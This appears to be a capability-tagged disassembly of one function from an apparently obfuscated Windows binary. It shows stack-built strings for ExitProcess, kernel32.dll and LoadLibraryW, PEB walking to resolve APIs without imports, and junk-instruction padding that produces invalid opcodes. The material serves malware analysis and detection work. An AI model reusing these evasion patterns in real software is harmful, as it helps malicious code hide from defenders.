Function at 0x5c7b02
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
xor al, byte [edx + 0x3a]
add esp, 4
pop eax
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push ebx
push esi
add esp, 4
sub ebx, 0x15223
pop ebx
push edx
push edi
add esp, 4
xor edx, 0xb1ef
pop edx
push edi
push eax
add esp, 4
jmp 0x5c769c
jmp 0x5c76a2
or edi, 0x104cb
pop edi
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
add byte [eax], al
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push ecx
call 0x5c7752
add byte [ebp + 0x40], al
inc ebx
dec edi
xor al, 0x40
cmp al, 0x41
inc esp
add esp, 4
add ecx, 0x3e3f
pop ecx
push edx
push eax
add esp, 4
add edx, 0x104db
and edx, 0x7091
add edx, 0xb39b
pop edx
push eax
jmp 0x5c777a
xor eax, 0x72b5
pop eax
push eax
push ebx
add esp, 4
add eax, 0x12de1
jmp 0x5c7792
call 0x5c77a2
add byte [ebx], bh
cmp eax, dword [esi + esi + 0x4b]
push eax
dec edx
xor al, 0x4a
aaa
add esp, 4
pop eax
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
invalid
call dword [ecx - 0x7f]
int1
jg 0x5c7837
add byte [eax], al
pop ecx
push edx
push ecx
add esp, 4
add edx, 0x51a1
sub edx, 0x485b
xor edx, 0x10315
pop edx
push edx
push eax
add esp, 4
add edx, 0xe2c1
sub edx, 0xe060
pop edx
cmp dword [ebp - 0x14d4], 0
jne 0x5c7818
mov dword [ebp - 0x2e0], 0
jmp 0x5c7ad4
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push esi
or esi, 0x3793
sub esi, 0x4e61
pop esi
push edi
push edx
add esp, 4
or edi, 0x6e41
pop edi
push ecx
push edx
add esp, 4
or ecx, 0x14f31
sub ecx, 0x22d2
and ecx, 0xa162
pop ecx
cmp dword [ebp - 0xc20], 0
jne 0x5c7874
mov dword [ebp - 0x2e0], 0
jmp 0x5c7ad4
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push esi
push ebx
add esp, 4
xor esi, 0x9c0d
sub esi, 0xb013
pop esi
push edx
add edx, 0x304e
sub edx, 0xa6e8
pop edx
push ecx
push edx
add esp, 4
and ecx, 0xcdba
or ecx, 0xdf8
pop ecx
lea ecx, [ebp - 0x1628]
push ebx
push ecx
add esp, 4
and ebx, 0x80c0
jmp 0x5c7ae6
pop ebx
push ecx
push edx
add esp, 4
jmp 0x5c7af2
call 0x5c7b02
add byte [ebx], dh
inc esp
cmp al, 0x46
cmp eax, 0x413a3a35
add esp, 4
pop ecx
cmp dword [ebp - 0x2e0], 0
jne 0x5c841f
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ecx
push ecx
add esp, 4
add al, 0x81
int1
push eax
adc eax, 0xe1810001
xchg edi, eax
add byte [eax], al
and ecx, 0x15976
xor ecx, 0x72c5
pop ecx
push edi
xor edi, 0x8abc
add edi, 0xce92
add edi, 0x4c57
pop edi
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push ecx
add ecx, 0x6f9f
or ecx, 0xa0db
add ecx, 0xb8f6
add ecx, 0x171fc
pop ecx
push eax
push edi
add esp, 4
xor eax, 0x1a16
and eax, 0xc994
xor eax, 0x468c
pop eax
cmp dword [ebp - 0x14dc], 0
jne 0x5c7caa
mov dword [ebp - 0x6ec], 0
jmp 0x5c7f66
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push ecx
or ecx, 0x12f0c
or ecx, 0x106d5
and ecx, 0x16559
pop ecx
push edx
push esi
add esp, 4
sub edx, 0x13a06
xor edx, 0xa048
add edx, 0x5847
sub edx, 0x1828e
pop edx
cmp dword [ebp - 0xc2c], 0
jne 0x5c7d06
mov dword [ebp - 0x6ec], 0
jmp 0x5c7f66
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push edi
push edx
add esp, 4
and edi, 0x643f
call 0x5c7d2c
add byte [ebp + 0x4b], al
aaa
cmp al, 0x37
cmp bh, byte [ebx]
xor ecx, dword [esi - 0x7d]
les eax, [ecx + eax*4]
mul dword [edi + 0x5f00000b]
add byte [edi + 0x51], bl
xor ecx, 0x1143
add ecx, 0x10e7b
pop ecx
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push ebx
sub ebx, 0xfb53
add ebx, 0x128d8
add ebx, 0x6b4c
add ebx, 0x7ee1
pop ebx
push eax
push edx
add esp, 4
xor eax, 0xe771
and eax, 0xab42
jmp 0x5c7da2
pop eax
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
invalid
test esp, ebx
invalid